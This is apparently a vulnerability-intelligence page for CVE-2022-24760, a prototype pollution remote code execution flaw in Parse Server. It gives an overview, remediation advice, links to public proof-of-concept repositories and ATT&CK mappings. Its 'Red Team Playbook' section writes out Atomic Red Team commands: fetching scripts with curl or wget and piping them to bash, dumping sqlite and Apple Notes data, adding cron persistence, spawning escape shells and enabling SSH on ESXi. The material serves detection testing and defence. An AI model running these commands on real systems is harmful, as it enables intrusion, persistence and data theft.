CVE-2022-24760

CRITICAL POC TTE 19d Pub 11/03 Upd 22/04

Overview

This vulnerability is a prototype pollution flaw within the DatabaseController.js component of Parse Server, an open-source HTTP backend. The root cause lies in improper handling of object properties that allows an attacker to manipulate the prototype of base objects. This flaw affects the server's database abstraction layer, impacting MongoDB and potentially other supported backends like Postgres due to shared vulnerable code paths.

Vulnerability Description

Parse Server is an open source http web server backend. In versions prior to 4.10.7 there is a Remote Code Execution (RCE) vulnerability in Parse Server. This vulnerability affects Parse Server in the default configuration with MongoDB. The main weakness that leads to RCE is the Prototype Pollution vulnerable code in the file `DatabaseController.js`, so it is likely to affect Postgres and any other database backend as well. This vulnerability has been confirmed on Linux (Ubuntu) and Windows. Users are advised to upgrade as soon as possible. The only known workaround is to manually patch your installation with code referenced at the source GHSA-p6h4-93qp-jhcm.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the Parse Server host, leveraging prototype pollution to escalate privileges and execute commands with server-level access. Since the attack vector requires no user interaction and no privileges (AV:N/AC:L/PR:N/UI:N), it enables full compromise of the backend system. This can lead to complete data breach, service disruption, and lateral movement within affected environments.

Solution

Users must upgrade Parse Server to version 4.10.7 or later as detailed in the GitHub security advisory GHSA-p6h4-93qp-jhcm. If immediate upgrading is not feasible, the advisory provides a manual patch to address the prototype pollution flaw in DatabaseController.js. Refer to the official commit 886bfd7cac69496e3f73d4bb536f0eec3cba0e4d and the advisory page for step-by-step remediation instructions.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Parse Server, specifically related to Remote Code Execution (RCE), stems from a flaw in the Prototype Pollution mechanism within the `DatabaseController.js` file. This weakness allows an attacker to manipulate the prototype of an object, which can lead to arbitrary code execution on the server. In its default configuration with MongoDB, the Parse Server is particularly susceptible, but the issue is not limited to this database; it also extends to other backends such as Postgres. The flaw arises from inadequate input validation, which permits attackers to inject malicious payloads that can alter the behavior of the application, potentially leading to unauthorized access and control over the server environment.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a specially designed request to the Parse Server, targeting the vulnerable endpoint that processes user input. By sending this request, the attacker could manipulate the server's behavior, executing arbitrary code that could compromise the integrity and confidentiality of the system. Scenarios may include executing shell commands, accessing sensitive data, or deploying further malicious payloads within the server environment. Given the widespread use of Parse Server in web applications, the potential for exploitation is significant, especially if the server is exposed to the internet without adequate security measures.

The real-world impact of this vulnerability is profound, particularly for organizations relying on Parse Server for their backend infrastructure. A successful exploitation could lead to severe business risks, including data breaches, loss of customer trust, and financial repercussions from downtime or remediation efforts. Organizations may face regulatory scrutiny if sensitive data is compromised, leading to potential legal liabilities. Furthermore, the ease of exploitation means that even organizations with limited cybersecurity resources could find themselves at risk, making this vulnerability a critical concern for businesses of all sizes.

To detect and mitigate this vulnerability, organizations should prioritize upgrading their Parse Server installations to the latest version, which addresses the flaw. Regular patch management practices are essential to ensure that all software components are up to date. Additionally, implementing robust input validation and sanitization measures can help prevent prototype pollution attacks. Network security measures, such as firewalls and intrusion detection systems, can also be employed to monitor and block suspicious activity targeting the Parse Server. Organizations should conduct regular security assessments and penetration testing to identify potential vulnerabilities in their systems, ensuring a proactive approach to cybersecurity.

In conclusion, the Remote Code Execution vulnerability in Parse Server poses a significant threat to organizations utilizing this backend framework. The potential for exploitation through prototype pollution highlights the need for diligent security practices, including timely updates and comprehensive input validation. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can safeguard their systems against the risks associated with this critical flaw. The importance of maintaining a robust security posture cannot be overstated, as the consequences of inaction can lead to devastating impacts on both the organization and its stakeholders.

Affected Products (1)

Vendor Product Version CPE
parseplatform Parseplatform Parse-Server All cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
tuo4n8/CVE-2022-24760
tuo4n8 1 0 2022-03-31 View
PoC
- 0 0 - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2022-03-31
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
86% rce
Code Injection
67% code_injection
OS Command Injection
49% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS
T1005 Data from Local System Kill Chain collection ESXi, Linux, macOS, Network Devices, Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-180 Exploiting Incorrectly Configured Access Control Security Levels
40%
High Medium
CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs
30%
High High
CAPEC-77 Manipulating User-Controlled Variables
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1005 Copy Apple Notes database files using AppleScript macOS Shell
This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command (Shell)
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
T1005 Find and dump sqlite databases (Linux) Linux Bash
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command (Bash)
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
T1005 Search files of interest and save them to a single zip file (Windows) Windows PowerShell
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
Command (PowerShell)
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-24760
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/parse-community/parse-server/security/advisories/GHSA-p6h4-93qp-jhcm
github.com
GitHub CVE x_refsource_MISC
https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d
huntr.dev
GitHub CVE x_refsource_MISC
https://www.huntr.dev/bounties/ac24b343-e7da-4bc7-ab38-4f4f5cc9d099/